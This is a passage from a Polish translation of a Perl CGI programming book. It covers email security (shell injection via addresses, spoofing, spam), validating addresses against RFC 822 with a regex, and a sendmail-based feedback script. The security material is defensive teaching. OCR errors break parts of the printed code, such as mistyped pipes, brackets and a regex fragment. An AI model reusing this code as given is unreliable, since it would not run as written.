Podsumowanie Z niniejszego rozdziału należy bezwzględnie zapamiętać jedno: nigdy nie wolno ufać użytkownikowi ani przeglądarce. Zawsze należy weryfikować wprowadzone dane, unikać korzystania z powłoki i stosować tryb kontroli skażeń. Ponadto system powinien być opracowany tak, aby crackerzy nie mogli wiele zyskać na włamaniu się do serwera Web. Serwery Web są częstymi celami ataków, ponieważ są to systemy najbardziej wyeksponowane, do których najłatwiej jest się włamać (niemniej sugestie z tego rozdziału powinny pomóc w utrudnieniu włamania). Dlatego nie należy przechowywać ważnych danych (na przykład niezaszyfrowanych numerów kart kredytowych) na tym samym komputerze. Tak samo należy unikać tworzenia relacji zaufania między serwerem a innymi maszynami. Lokalna sieć powinna być tak skonfigurowana, aby ktoś, kto zdołał się wedrzeć do serwera Web, nie miał łatwego dostępu do pozostałej części sieci.
Rozdział 9 Wysyłanie poczty elektronicznej Jednym z najczęstszych zadań, jakie pełnią skrypty CGI, jest wysyłanie poczty elektronicznej (ang. email). Poczta elektroniczna jest obecnie powszechną metodą komunikacji z ludźmi, niezależnie od tego, :zy informacje pochodzą od innych ludzi, czy też systemów zautomatyzowanych. Osobom odwiedzającym serwis Web można pocztą elektroniczną wysyłać uaktualnienia lub potwierdzenia. Czasami trzeba powiadamiać członków określonej struktury organizacyjnej o pewnych wydarzeniach (na przykład o dokonaniu zakupu), zwracać się o informacje lub opinie o serwisie. Poczta elektroniczna przydaje się również wtedy, gdy trzeba kogoś powiadomić o problemach zaistniałych w skryptach CGI. Przy pisaniu procedur reagujących na biedy w skryptach CGI, warto jest dołączać kod, którego zadaniem będzie informowanie osoby opiekującej się serwisem, o błędzie. Istnieje kilka sposobów wysyłania poczty elektronicznej z aplikacji, między innymi za pomocą zewnętrznego klienta pocztowego, na przykład sendmail lub mail, lub przez bezpośrednią komunikację w Perlu ze zdalnym serwerem poczty. Ponadto dostępnych jest kilka modułów Perla, dzięki którym wysyłanie poczty jest szczególnie łatwe. Wszystkie te możliwości zbadamy w bieżącym rozdziale, konstruując przykładową aplikację, która będzie stanowić webową fasadę programu pocztowego.
Bezpieczeństwo Skoro temat bezpieczeństwa wciąż mamy świeżo w pamięci, powinniśmy przez chwilę przyjrzeć się temu zagadnieniu w kontekście poczty elektronicznej. Wysyłanie poczty elektronicznej jest zapewne jedną z najpoważniejszych przyczyn błędów związanych z bezpieczeństwem w skryptach CGI. Programy pocztowe i powłoki Większość skryptów CGI otwiera potok do zewnętrznego klienta pocztowego, na przykład sendmail lub mail, i za pośrednictwem powłoki przekazuje do niego jako parametr adres poczty elektronicznej. Przekazywanie jakichkolwiek danych od użytkownika poprzez powłokę jest zdecydowanie złym postępowaniem, co widzieliśmy w poprzednim rozdziale (osoby, którym zdarzy się od razu przeskoczyć do bieżącego rozdziału, mądrze zrobią, gdy cofną się do rozdziału 8, „Bezpieczeństwo", zanim zabiorą się do dalszej lektury). Adresu poczty elektronicznej nigdy nie należy przekazywać do zewnętrznej aplikacji poprzez powłokę, chyba że ktoś lubi igrać z niebezpieczeństwem. Nie jest możliwe sprawdzenie, czy adres ten zawiera tylko bezpieczne znaki. Wbrew temu, czego można by się spodziewać, prawidłowy adres poczty elektronicznej może zawierać dowolne znaki ASCII, nie wyłączając znaków sterujących i wszystkich tych kłopotliwych znaków, mających specjalne znaczenie w powłoce. Czynnikami decydującymi o prawidłowości adresu zajmiemy się w następnym podrozdziale. Fałszywe tożsamości Może się zdarzyć, że otrzymamy pocztę elektroniczną, której nadawca podaje się za kogoś innego, niż jest w rzeczywistości. Dzieje się tak w wypadku „dzikiej" poczty masowej (tzw. spamu). Fałszowanie adresu zwrotnego w wiadomościach elektronicznych jest bardzo proste, a nawet bywa pożyteczne. Wolelibyśmy zapewne, aby wiadomości wysyłane przez serwer Web były widziane jako pochodzące od określonych osób lub grup w danej firmie, a nie od serwera Web (działającego jako np. użytkownik nobody). Jak to zrobić, zobaczymy na przykładach w dalszej części rozdziału. Jak zatem ta kwestia odnosi się do bezpieczeństwa? Powiedzmy, że tworzymy formularz Web umożliwiający użytkownikom wysyłanie opinii do członków danej organizacji. Decydujemy się tak uogólnić skrypt CGI odpowiedzialny za realizację tego zadania, byśmy nie byli zmuszeni do jego aktualizowania przy zmianie wewnętrznych adresów poczty elektronicznej. W zamian odpowiednie adresy wstawiamy do pól ukrytych formularza opinii, gdyż ich aktualizacja jest łatwiejsza. Podejmujemy też środki ostrożności. Ponieważ mamy świadomość, że crackerzy mogą modyfikować pola ukryte, zadbaliśmy o to, by nie przekazywać adresów przez powłokę, i traktujemy je jak dane skażone. Do wszystkich detali podeszliśmy prawidłowo, a mimo to nadal mogą wystąpić problemy z bezpieczeństwem - tyle że na wyższym poziomie.
Programowanie CGI w Perlu
107
Jeśli umożliwimy użytkownikowi podanie nadawcy, adresata oraz treści wiadomości, tym samym zezwolimy mu na wysłanie dowolnej wiadomości do kogokolwiek i dokądkolwiek, przy czym zostanie ona wystosowana z naszej maszyny. Każdy może sfałszować adres zwrotny wiadomości elektronicznej, lecz bardzo trudno zamaskować informacje o jej marszrucie. Mądry człowiek może zajrzeć do nagłówków wiadomości i sprawdzić, skąd faktycznie ona pochodzi, nie da się bowiem ukryć, że wszystkie wiadomości wysyłane przez dany serwer Web pochodzą z maszyny będącej jego gospodarzem (czyli hostem). Z powyższych względów tego typu strona, funkcjonująca na przykład jako formularz opinii, stanowi zagrożenie bezpieczeństwa - crackerzy, otrzymawszy tak dużą swobodę, mogą wysyłać szkodliwą lub żenującą pocztę elektroniczną wszędzie, dokąd im się spodoba, a przy tym wszystkie przesyłki będą wyglądać tak, jak gdyby pochodziły z naszej organizacji. Chociaż może się to wydawać mało poważne w porównaniu z włamaniem do systemu, jednak takich sytuacji raczej powinno się unikać. Spam Pojęcie „spam" odnosi się oczywiście do „nieproszonej", „makulaturowej" poczty elektronicznej. To te wiadomości, które otrzymuje się od kogoś, o kim się nigdy nie słyszało, ogłaszające diety cud, systemy w totolotka, łańcuszki szczęścia i co najmniej nieprzyzwoite serwisy Web. Nikt nie lubi spamu, więc należy zadbać o to, by nasz serwis do tego się nie przyczyniał. Należy unikać tworzenia skryptów do tego stopnia elastycznych, by umożliwiały użytkownikowi określanie adresata i treści wiadomości. Ilustruje to ostatni przykład strony z formularzem opinii. W poprzednim rozdziale widzieliśmy, że utworzenie klienta Web przy użyciu LWP i krótkiego kodu w Perlu nie jest trudne. Tak samo nadawca spamu (tzw. „spamer") mógłby bez trudu wykorzystać LWP do wielokrotnego wywoływania skryptu CGI w celu rozsyłania dużych ilości irytujących pism. Oczywiście większość spamerów nie postępuje w ten sposób. Ci najwięksi wykorzystują do tego własny sprzęt, natomiast tym, którzy tego nie robią, wygodniej jest przejąć serwer SMTP, który służy do wysyłania poczty, niż przekazywać żądania przez skrypt CGI. Zatem nawet wtedy, gdy utworzymy skrypty bezbronne wobec możliwości ich przejęcia, prawdopodobieństwo, że ktoś je wykorzysta jest nikłe... jednak wszystko się może zdarzyć. Wolelibyśmy raczej nie mieć do czynienia z tłumem rozgniewanych adresatów, którzy dotarli do nas, prześledziwszy marszrutę wiadomości. Gdy chodzi o bezpieczeństwo, zawsze lepiej mieć się na baczności.
Adresy poczty elektronicznej Obsługa poczty po części obejmuje obsługę adresów poczty elektronicznej. Wydaje się, że zbieranie od użytkowników ich elektronicznych adresów jest funkcją niemal wszystkich formularzy rejestracyjnych w sieci 15 Web. Możemy sobie zadać pytanie, w jaki sposób możemy się zorientować, czy adres podany w formularzu jest właściwy. Odpowiedź jest prosta: nie możemy. Można sprawdzić jego poprawność składniową (chociaż jest to o wiele trudniejsze, niż się wydaje), lecz nie można się dowiedzieć, czy odpowiednie konto faktycznie istnieje. Można by się spodziewać, że powinniśmy mieć możliwość odpytania serwera SMTP pod kątem poprawności określonego adresu poczty elektronicznej. Faktycznie, protokół SMTP udostępnia polecenie pozwalające to sprawdzić. Niestety, użycie go w praktyce napotyka trudności. Mamy tu do czynienia z dwoma problemami. Pierwszy problem polega na tym, że serwer SMTP odpowiedzialny za obsługę poczty danego adresu nie zawsze jest dostępny. Zdarzają się okresowe wyłączenia sieci, a nawet wtedy, gdy sieć jest sprawna, serwery pocztowe często są przeciążone i mogą odrzucać kierowane do nich żądania. Problem ten zazwyczaj nie dotyczy poczty internetowej, ponieważ inne serwery pocztowe, które starają się doręczyć pocztę do serwerów nieczynnych, kolejkują wiadomości i ponawiają próby wielokrotnie, często przez kilka dni, zanim zaprzestaną. Jeśli jednak potrzebna jest niezwłoczna weryfikaq'a, serwer poczty może nie być w stanie udzielić odpowiedzi. Drugi problem polega na tym, że nawet wtedy, gdy docelowy serwer SMTP jest dostępny, może on nie dostarczać wiarygodnych informacji. Wiele serwerów SMTP bramkuje wiadomości do wewnętrznych systemów pocztowych, które mogą się komunikować wewnętrznie za pomocą innego protokołu i znajdować się w innej sieci lokalnej. Dlatego może się zdarzyć, że jedna z tych bram SMTP nie będzie wiedzieć, czy dany adres poczty elektronicznej jest poprawny w innej sieci, bowiem może być skonfigurowana tak, aby całą internetową pocztę jedynie przekazywała dalej. Z tej przyczyny, gdy zwrócimy się do serwera SMTP o zweryfikowanie adresu pocztowego, może odpowiedzieć, że każda przesyłka zaadresowana do jego domeny jest doręczalna, bez względu na to, czy jest tak faktycznie, czy nie. Najlepszym wyjściem, gdy trzeba sprawdzić adres poczty elektronicznej, jest wysłanie wiadomości pod dany adres i poproszenie adresata o odpowiedź. Pisaniu skryptów odpowiadających na pocztę elektroniczną przyjrzymy się w dalszej części rozdziału. Tymczasem zajmijmy się analizą składniową adresów elektronicznych.
15
Nie zawsze jest to dobry pomysł. W wielu serwisach stosowana jest praktyka żądania adresu poczty elektronicznej w zamian za dostęp do skądinąd bezpłatnych usług. Serwisy takie często umożliwiają użytkownikowi zaznaczenie pola wyboru, aby mógł wykluczyć się spośród adresatów poczty masowej. Lecz skoro przyjmowanie takiej poczty nie jest obowiązkowe, dlaczego tak samo nieobowiązkowe nie jest podawanie adresu? Gdyby poproszono nas o utworzenie formularza tego typu, najpierw powinniśmy się zapytać samych siebie oraz naszych zleceniodawców, z jakiego to powodu mają być gromadzone informacje osobiste. Jeśli znajdzie się słuszny powód, odpowiednie wyjaśnienie umieśćmy na formularzu rejestracyjnym. Jeśli wytłumaczenie się nie znajdzie, to bezzasadne będzie zbieranie większej ilości informacji niż potrzeba, nie wolno bowiem lekceważąco podchodzić do prywatności użytkownika.
Programowanie CGI w Perlu
108
Kontrola poprawności składniowej Początkujący projektanci CGI często pytają się o wyrażenie regularne, które by służyło do weryfikowania adresów poczty elektronicznej. Gdyby popytać wokoło, niektórzy odesłaliby do rozwiązania z książki Jeffreya Friedla pod tytułem Mastering Regular Expressions (O'Reilly & Associates, Inc.). Inni mogliby podać jakieś proste wyrażenie, które wyszukuje symbol „@", a następnie sprawdza, czy nazwa domeny kończy się kropką i dwiema lub trzema literami. W rzeczywistości jednak żadna z proponowanych metod nie jest wystarczająco dokładna. Aby zrozumieć, dlaczego tak jest, musimy się nieco zapoznać z historią. RFC 822 jest specyfikaq'ą standardu, który definiuje nazwy adresów poczty elektronicznej. Opublikowano go w 1982 roku. Czyż nie są to zamierzchłe czasy? Oczywiście, że są. Internet wyglądał wówczas zdecydowanie inaczej. Co więcej, nie nazywał się wtedy Internetem - było to zestawienie wielu różnych sieci, w tym sieci ARPAnet, Bitnet i CSNET, a w każdej stosowano inne konwencje nazewnicze. TCP/IP dopiero był wprowadzany jako nowy protokół sieciowy, a hostów było zaledwie paręset. Dopiero od roku 1983 rozpoczęto intensywne prace nad wdrożeniem serwerów o nazwach domenowych. Przedtem nie istniały dobrze dziś znane nazwy hierarchiczne, takie jak www.oreilly.com. Ale to tylko część historii. Otóż Jeffrey Friedl we wspomnianej już książce Mastering Regular Expressions podjął się opracowania wyrażenia regularnego, które by dokonywało rozbioru adresów poczty elektronicznej według specyfikacji RFC 822. Książka ta jest najlepszą publikacją na temat wyrażeń regularnych w Perlu, i w ogóle w dowolnym kontekście. Wiele osób przytacza skonstruowane przez niego wyrażenie regularne jako jedyny sprawdzian rozstrzygający, czy internetowy adres poczty elektronicznej jest poprawny. Niestety, nie zrozumiały one, do czego tak naprawdę to wyrażenie służy, a jest ono sprawdzianem na zgodność z RFC 822. Według RFC 822 poniższe zapisy są składniowo poprawnymi adresami poczty elektronicznej: Alfred Nowicki <Nowicki@BBN-TENEXA> ":sysmail"@ Pewna-Grupa. Pewna-Organizacja Muhhamed.(Mistrz nad mistrzami) Ali @(to)Vegas.WBA Czy któryś z nich wygląda na adres, którego można się spodziewać w formularzu HTML? Prawdą jest, że RFC 822 dotąd nie zostało zastąpione przez inny dokument RFC i wciąż pozostaje standardem, niemniej prawdą jest też to, że czas i kontekst problemu, z którym obecnie mamy do czynienia, całkowicie różni się od tego, który został rozwiązany w 1982 roku. Chcemy, aby wyrażenie rozpoznawało adresy poprawne składniowo w zgodzie z wymaganiami współczesnego Internetu. Interesuje nas tylko obecna internetowa konwencja nazewnicza. Wyeliminowane powinny zostać wszystkie wyżej wymienione adresy, ponieważ żaden z nich nie kończy się bieżącą nazwą domeny najwyższego poziomu (.com, .net, .edu, .uk itp.). To nie jedyna istotna różnica. Pierwszy przykład to pełny adres poczty elektronicznej, zawierający imię i nazwisko, a w nawiasie ostrokątnym to, co RFC 822 nazywa specyfikacją adresu (ang. address specificatiori). Z taką rozszerzoną składnią można się spotkać w programach do obsługi poczty elektronicznej. Nie potrzebujemy i raczej nie chcemy, aby ta dodatkowa informacja była dołączana do adresu poczty elektronicznej podawanego w formularzu. Najprawdopodobniej imię i nazwisko użytkownika i tak będą podawane osobno, w innych polach. Gdy trzeba skontrolować adres poczty elektronicznej wpisany przez użytkownika, zasadniczo zainteresowani jesteśmy adresem jako takim. Dlatego, gdy będziemy pisać o adresie poczty elektronicznej, będziemy mieć na myśli samą specyfikację adresu, czyli część użytkownik@nazwa_hosta. Drugi przykład zawiera element w cudzysłowie (każdą grupę znaków oddzieloną kropką lub znakiem „@" 16 będziemy nazywać elementem ). Elementy w cudzysłowie są dopuszczalne i nadal funkcjonują w dzisiejszym Internecie. Jeśli mamy zamiar akceptować wszystkie poprawne adresy poczty elektronicznej, powinniśmy akceptować elementy w cudzysłowie. Tylko elementy na lewo do „@" mogą być ujęte w cudzysłów, przy czym w cudzysłowie mogą się znaleźć dowolne znaki ASCII (niektóre muszą być maskowane ukośnikiem odwrotnym, „\"). Właśnie dlatego jakakolwiek kontrola pod kątem „niepoprawnych znaków" w adresie byłaby błędem i właśnie dlatego bardzo groźne jest przekazywanie adresu poczty elektronicznej do polecenia jako argumentu za pośrednictwem powłoki. Drugi adres zawiera również spacje. Spacje (i tabulacje) są uprawnione, gdy występują między elementami oraz na początku i końcu adresu. Niemniej nic się nie zmieni pod względem funkcjonalności, gdy je usuniemy - tak właśnie programy pocztowe na ogół robią przy wysyłaniu wiadomości na adres zawierający spacje. Należy jednak mieć na uwadze, że nie można usunąć każdej bez wyjątku spacji, ponieważ spacje wewnątrz cudzysłowu mają znaczenie i muszą pozostać nienaruszone. Wolno usuwać tylko te, które znajdują się poza cudzysłowem. W przedstawianym przykładzie będziemy się ich pozbywać. Prawdopodobnie nie musimy tego robić; można się bowiem spodziewać, że adres poczty elektronicznej użytkownicy będą wpisywać bez dodatkowych spacji. Ostatni przykładowy adres zawiera komentarze. Komentarze są jak najbardziej dozwolone - w każdym miejscu, w którym dozwolone są spacje - przy czym należy je umieścić w nawiasie. Jedyną funkcją komentarzy jest dostarczanie dodatkowych informacji ludziom; maszyny je ignorują. Dlatego nierozsądne jest wprowadzanie ich w zautomatyzowanych formularzach Web. Uprościmy kod, nie zezwalając na komentarze w sprawdzanych adresach poczty elektronicznej. Poniżej przedstawiamy kod, który posłuży nam do kontroli poprawności adresów. Jest zdecydowanie krótszy niż podany przez Jeffreya Friedla i nie dorównuje mu elastycznością. Nie obsługuje komentarzy, usuwa spacje jeszcze przed kontrolą oraz ogranicza nazwy hostów do współczesnych nazw domen oraz adresów IP. Mimo wszystko jest dość skomplikowany, a pojedyncze wyrażenie regularne, które ma służyć do kontroli 16
RFC 822 stosuje w tym wypadku bardziej techniczny termin: atom.
Programowanie CGI w Perlu
109
poprawności, byłoby zbyt kłopotliwe przy wpisywaniu z klawiatury. Konstruujemy je więc stopniowo, posługując się zmiennymi pośrednimi. Proces ten jest zbyt złożony, by go tu objaśniać. Zasady budowania tego typu złożonych wyrażeń regularnych zawarte są w książce Mastering Regular Expressions, którą gorąco polecamy. Mimo wszystko jedna uwaga: zmienna $naj_poziom zawiera wyrażenie, które służy do dopasowywania nazw domen najwyższego poziomu. W naszym wypadku domeny te mają dwie (.us, .uk, .au, .pl itp.) lub trzy litery (.com, .org, .net itp.). Liczba domen najwyższego poziomu z pewnością jeszcze wzrośnie. Niektóre propozycje, na przykład . firm, składają się z więcej niż trzech znaków. Dla tego poniższe wyrażenie regularne zezwoli na dowolny zestaw od dwóch do czterech znaków: my $naj_poziom = qq{ (?: $znak_atomu ){2,4} }; Gdybyśmy chcieli być bardziej restrykcyjni, moglibyśmy ich liczbę ograniczyć do trzech. Analogicznie, gdy kiedyś staną się dozwolone domeny najwyższego poziomu z więcej niż czterema znakami, będziemy mogli limit zwiększyć. A oto omawiany kod: sub skontroluj_adres_email { my $adr_do_sprawdzenia = shift; $adr_do_sprawdzenia =~ s/("(?:[^"\\]|\\.)*"|[^\t "]*)[ \t]*/$1/g; my $maska = '\\\\'; my $spacja = '\040'; my $znak_ster = '\000-\037'; my $kropka = '\.'; my $nieASCII = '\x80-\xff'; my $CRLF = '\012\015'; my $litera = 'a-zA-Z'; my $cyfra = '\d'; my $znak_atomu = qq{ [^$spacja<>\@,;:".\\[\\]$maska$znak_ster$nieASCII] }; my $atom = qq{ $znak_atomu+ ); my $bajt = qq{ (?: l?$cyfra?$cyfra | 2[0-4]$cyfra | 25[0-5] ) }; my $tekst_w_cudz = qq{ [^$maska$nieASCII$CRLF"] }; my $para_w_cudz = qq{ $maska [^$nieASCII] }; my $lancuch_w_cudz = qq{ " (?: $tekst_w_cudz | $para_w_cudz )* " }; my $wyraz = qq{ (?: $atom | $lancuch_w_cudz ) }; my $adres_ip = qq{ \\[$bajt (?: $kropka $bajt ){3} \\] } ; my $pod_domena = qq{ [$litera$cyfra] [$litera$cyfra-]{0,61} [$litera$cyfra]}; my $naj_poziom = qq{ (?: $znak_atomu ){2,4} }; my $nazwa_domeny = qq{ (?: $pod_domena $kropka )+ $naj_poziom }; my $domena = qq{ (?: $nazwa_domeny | $adres_ip ) }; my $czesc_lokalna = qq{ $wyraz (?: $ kropka $wyraz )* }; my $adres = qq{ $czesc_lokalna \@ $domena }; return $adr_do_sprawdzenia =~ /^$adres$/ox ? $adr_do_sprawdzenia : ""; } Gdy do skontroluj_adres_email podamy adres poczty elektronicznej, funkcja ta po-usuwa spacje i tabulacje znajdujące się poza cudzysłowem. Na tym etapie jesteśmy nieco pobłażliwi, ponieważ spacje wewnątrz elementów (w przeciwieństwie do spacji obok elementów) są niedozwolone, jednak i tak się ich pozbędziemy wraz ze spacjami dozwolonymi. Następnie sprawdzamy adres przez porównanie z wyrażeniem regularnym. Jeśli stwierdzamy zgodność, adres uznawany jest za poprawny i jest zwracany (bez spacji). W przeciwnym razie zostaje zwrócony pusty łańcuch, który w Perlu przetwarzany jest do wartości „fałsz". Można użyć następującej procedury: use strict; use CGI; use CGIBook::Error; my $q = new CGI; my $email = skontroluj_adres_email( $q->param( "email" ) ) ; unless ( $email ) { error( $q, "Podany adres poczty elektronicznej jest nieprawidłowy. " . "Proszę użyć przycisku Wstecz przeglądarki, aby " . "wrócić do formularza i ponowić próbę." ); } Gdybyśmy zamierzali sprawdzać po kilka adresów naraz lub użyć funkcji w środowisku, w którym kod Perla jest prekompilowany (jak mod_perl lub FastCGI), wtedy moglibyśmy ten kod poddać optymalizacji, budując wyrażenie regularne tylko raz, a następnie buforując je w pamięci podręcznej. Jednak w tym przykładzie nie tyle zamierzaliśmy dostarczyć wzorzec gotowy do użytku, ile zademonstrować, dlaczego skontrolowanie adresu sprawia tak duże trudności (kod ten nie stanowi rozwiązania w sytuacji, gdy adres jest zły, choć poprawny składniowo).
Struktura internetowej poczty elektronicznej Wiadomości elektroniczne są dokumentami zawierającymi nagłówki oraz część zasadniczą oddzieloną od nich pustym wierszem. Każdy nagłówek składa się z nazwy pola, po której następuje dwukropek, odstępu i wartości. Brzmi znajomo, nieprawdaż? W sensie podstawowym internetowe wiadomości pocztowe mają podobną
Programowanie CGI w Perlu
110
strukturę do wiadomości HTTP. Oczywiście, istnieją także różnice: nie ma wiersza żądania ani wiersza stanu; wiadomości elektroniczne są dokumentami tekstowymi (załączniki binarne muszą być przed wysłaniem kodowane do postaci tekstowej); większość pól nagłówkowych ma inne nazwy. Niemniej przypomnienie sobie podstawowego formatu nagłówka i części zasadniczej wcześniej omówionego protokołu HTTP pomoże opanować zasady tworzenia wiadomości poczty elektronicznej. W niektórych polach nagłówkowych zawarte są adresy. Mogą to być adresy o przedstawionej wcześniej pełnej składni, obejmującej oprócz samego adresu także nazwę (imię i nazwisko) adresata, na przykład: Maria Kowalska <maria@gdziestam.com> Krótsza forma, maria@gdziestam.com, również jest dopuszczalna. Tylko niektóre pola nagłówkowe muszą być dołączane do wiadomości elektronicznych: do kogo jest wiadomość, od kogo i o czym. Funkcję pierwszego z wymienionych spełniają trzy pola: To, Cc i Bcc. W polach To i Cc (skrót od ang. carbon-copy, czyli „kopii przez kalkę") można umieścić adresy pocztowe dowolnych adresatów wiadomości. W wypadku pola Bcc (skrót od ang. blind carbon-copy, czyli „niewidocznej kopii przez kalkę") jest podobnie, przy czym jest ono usuwane z wiadomości, zanim zostanie wysłana. Pole From zawiera elektroniczny adres pocztowy nadawcy wiadomości. Jeśli odpowiedzi na wiadomość mają być kierowane gdzie indziej, odpo17 wiedni adres można podać w polu Reply-To. Pole Subject zawiera hasłowy opis wiadomości. Jak dotąd, to zaledwie elementarz; każdy z nas już wcześniej otrzymywał pocztę elektroniczną. Istnieje jednak drobna, aczkolwiek istotna różnica. Internetowa przesyłka pocztą elektroniczną jest bardzo podobna do zwykłej, „papierowej" poczty: w kopercie jest wiadomość, której treść może być dowolna, natomiast sama koperta niesie informacje umożliwiające dostarczenie jej na miejsce. W listach formalnych adres adresata często umieszcza się w górnej części kartki, jednak tak zaadresowane pismo można umieścić w kopercie inaczej zaadresowanej i skierowanej do kogo innego. Analogiczna możliwość istnieje również w wypadku przesyłek internetowych. Pola To, Cc, Bcc i From tak naprawdę stanowią część wiadomości. Nie dostarczają one informacji o trasie wiadomości i nie muszą się zgadzać z rzeczywistym nadawcą i odbiorcą. Można się spotkać ze spamem (nieproszoną pocztą), która, zważywszy na pole To, zaadresowana jest do kogoś innego; podobnie nadawca wymieniony w polu From najczęściej nie jest autentycznym nadawcą. Niemniej jednak dla naszych celów będziemy zazwyczaj woleli zachować zgodność między informacjami adresowymi a tymi polami. Zajmiemy się tym szerzej, gdy będziemy omawiać poszczególne programy pocztowe. Wśród nagłówków adresowych pojawia się też wiele innych ważnych pól, lecz programy pocztowe same się nimi zajmują, więc nie będziemy ich tu omawiać.
sendmail Gdyby nie sendmail, Internet być może w ogóle by nie istniał. Chociaż istnieją inne pocztowe agenty transportowe (MTA, ang. mail transport agent), znakomita większość internetowych serwerów pocztowych korzysta z agenta sendmail. Stworzył go Eric Allman około roku 1980, a wtedy, o czym już pisaliśmy, Internet był inny. sendmail zajął się uciążliwym zadaniem, jakim jest transfer między bardzo różnymi sieciami. Dlatego nigdy nie był to prosty program, a z czasem został jeszcze rozbudowany. Stał się jedną z najbardziej skomplikowanych aplikacji, zbyt trudnych, by je w pełni opanować - obecna liczba przełączników wiersza poleceń oraz parametrów konfiguracyjnych może przyprawić o zawrót głowy. Na szczęście do wysyłania wiadomości potrzeba nam zaledwie kilku z nich. Więcej informacji na temat tego programu można uzyskać w książce Bryana Costalesa i Erika Allmana pt. sendmail (0'Reilly & Associates, Inc.). sendmail na maszynach uniksowych na ogół jest preinstalowany, a ostatnio został nawet zaimplementowany w Windows NT. W Uniksie często instalowany jest w /usr/lib/send-maU, lecz lokalizacje /usr/sbin/sendmail oraz /usr/ucb/Hb/sendmafl także są możliwe. W naszych przykładach jako położenie sendmail przyjmujemy ścieżkę /usr/lib/sendmail. Jeśli program ten zainstalowany jest gdzie indziej, wystarczy ją zastąpić ścieżką właściwą w danym systemie. Opcje wiersza polecenia Na ogół sendmail wywołuje się przynajmniej z kilkoma opcjami wiersza polecenia. Przy wysyłaniu wiadomości program sendmail działa tak, jak gdyby został uruchomiony interakcyjnie przez użytkownika, i jako nadawcę wskazuje tego właśnie użytkownika; koniec wiadomości użytkownik sygnalizuje wpisaniem kropki w osobnym wierszu. Można to zmienić i często zresztą tak się robi. Jeśli ponadto wysyłamy wielokrotne wiadomości, możemy je wstawić do kolejki, aby sendmail dostarczył je asynchronicznie, bez przestojów przy wysyłaniu każdej kolejnej. Opcje, które należy znać, wymienione zostały w tabeli 9.1. Tabela 9.1. Często stosowane opcje programu sendmail Opcja Opis -t Powoduje, że pola To, Cc i Bcc odczytywane są z nagłówków wiadomości. -f "adres elektroniczny" Umieszcza w polu From podany adres poczty elektronicznej. -F "pełna nazwa" Umieszcza w polu From podaną nazwę (imię i nazwisko). -i Powoduje, że ignorowane są kropki znajdujące się w osobnych wierszach. 17
Pole To odnosi się do właściwego adresata (polski odpowiednik: Do); Cc - do adresata powiadamianego jawnie o wiadomości (odpowiednik: DW, Do wiadomości, Dw.); Bcc - do adresata powiadamianego niejawnie względem wszystkich pozostałych adresatów (odpowiednik: UDW, Ukryte „do wiadomości"); From - do nadawcy (odpowiednik: Od); Reply-to - do adresu zwrotnego (odpowiednik: Odpowiedź do, Adres zwrotny itp.); Subject - do tytułu wiadomości (odpowiednik: Temat, Dotyczy) (przyp. tłum.).
Programowanie CGI w Perlu
111
-odq Kolejkuje wiadomości, aby zostały wysłane później, zamiast przetwarzane pojedynczo. Przykład 9.1 przedstawia krótki skrypt w Perlu, w którym wykorzystywane są powyższe opcje, Przykład 9.1. feedback_sendmail.cgi #!/usr/bin/perl -wT use strict; use CGI; # Oczyszczenie środowiska pod kątem trybu kontroli skażeń przed wywołaniem sendmail BEGIN { $ENV{PATH} = "/bin:/usr/bin"; delete @ENV( qw(IFS CDPATH ENV BASH_ENV ) } ; } my $q = new CGI; my $email = skontroluj_adres_email ( $q->param( "email" ) ) ; my $wiadomosc = $q->param( "wiadomość" ) ; unless ( $email ) { print $q->header( "text/html" ), $q->start_html ( "Nieprawidłowy adres poczty elektronicznej" ), $q->h1 ( "Nieprawidłowy adres poczty elektronicznej" ), $q->p ( "Podany adres poczty elektronicznej jest nieprawidłowy. " . "Proszę użyć przycisku Wstecz przeglądarki, aby " . "wrócić do formularza i ponowić próbę." ) ; $q->end_html; exit; } wyslij_opinie ( $email, $wiadomosc ) ; wyslij_potwierdzenie ( $email ); print $q->redirect ( "/opinie/dziękujemy .html" ) ; sub wyslij_opinie { my( $email, $wiadomość ) = @_; open MAIL, "|l /usr/lib/sendmail -t -i" or die "Nie można otworzyć sendmail: $!"; print MAIL <<KONIEC_WIADOMOSCI; To: webmaster\@skryptorium.com ' Reply-To: $email Subject: Opinie na temat serwisu Web Opinie od użytkownika: $wiadomość KONIEC_WIADOMOSCI close MAIL or die "Błąd przy zamykaniu sendmail: $!"; } sub wyslij_potwierdzenie { my $email = shift; my $email_nadawcy = shift || $ENV( SERVER_ADMIN ); my $nazwa_nadawcy = shift || "Webmaster"; open MAIL, "| /usr/lib/sendmail -t -F'$nazwa_nadawcy' -f'$email_nadawcy'" or die "Nie można otworzyć sendmail: $!"; print MAIL <<KONIEC_WIADOMOSCI; To: $email Subject: Opinie od Ciebie Skierowana do nas wiadomość została wysłana i wkrótce ktoś na nią odpowie. Dziękujemy za poświęcenie nam czasu i dostarczenie swojej opinii! KONIEC_WIADOMOSCI close MAIL or die "Błąd przy zamykaniu sendmail: $!"; } Od użytkownika pobieramy dwie informacje: adres poczty elektronicznej i wiadomość do wysłania do działu obsługi klienta. Poprawność adresu sprawdzamy za pomocą poznanej wcześniej procedury, choć nie zamieszczamy tu jej kodu. Skrypt następnie „redaguje" dwie wiadomości i kieruje użytkownika do statycznej strony z podziękowaniami. Pierwsza wiadomość kierowana jest do działu obsługi klienta. Zastosowane zostały opcje -t oraz -i. Użycie opcji -i wskazane jest wtedy, gdy wiadomość zawiera jakiekolwiek dynamiczne informacje. Nie dopuszcza do przedwczesnego zakończenia wiadomości pojedynczą kropką. Opcja -t jest najważniejsza. Nakazuje programowi sendmail odczytanie informacji o adresacie bezpośrednio z wiadomości. W przeciwnym razie adres odbiorcy musiałby być podany w wierszu polecenia. Na ogół sendmail wywołuje się następująco: /usr/lib/sendmail maria@gdziestam.com sendmail odczytuje wówczas wiadomość z STDIN, włącznie z nagłówkami i częścią zasadniczą, i wysyła wiadomość do Marii, choćby nawet pola To, Cc lub Bcc mówiły co innego! Wprowadza to pewne zamieszanie. Zawsze należy używać przełącznika -t. Po pierwsze ułatwia życie, ponieważ dzięki niemu pola To, Cc i Bcc są obsługiwane automatycznie. Po drugie pozwala uniknąć poważnego zagrożenia bezpieczeństwa
Programowanie CGI w Perlu
112
